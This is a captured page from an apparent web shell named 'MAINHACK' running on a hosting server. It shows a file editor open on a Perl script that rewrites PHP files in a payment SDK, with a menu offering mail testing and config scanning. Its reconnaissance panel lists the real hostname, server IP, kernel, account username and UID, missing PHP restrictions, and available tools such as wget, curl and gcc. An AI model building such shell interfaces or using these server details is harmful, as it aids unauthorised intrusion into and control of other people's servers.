[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: appendSetCode.pl
#!/usr/bin/perl use strict; use warnings; #my $text = `cat ARBGetSubscriptionRequest.php`; #my $sub = `cat appendSetCode.txt`; #$text =~ s|(.+)}|$1$sub|xms; #print 'Result : '.$text."\n"; while (<>) { chomp; my $filepath = "lib/net/authorize/api/contract/v1/"; my $filename = "$filepath"."$_"; my $text = `cat $filename`; my $sub = `cat scripts/appendSetCode.txt`; $text =~ s|(.+)}|$1$sub|xms; open(my $fh, '>', "$filename"); print $fh $text; close $fh; # print 'Result : '.$text."\n"; } #unless(mkdir 'backup') { # die "Unable to create directory backup\n"; # } #open(my $fh, '>', 'backup/ARBGetSubscriptionRequest copy2.php'); #print $fh "My first report generated by perl\n"; #close $fh;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285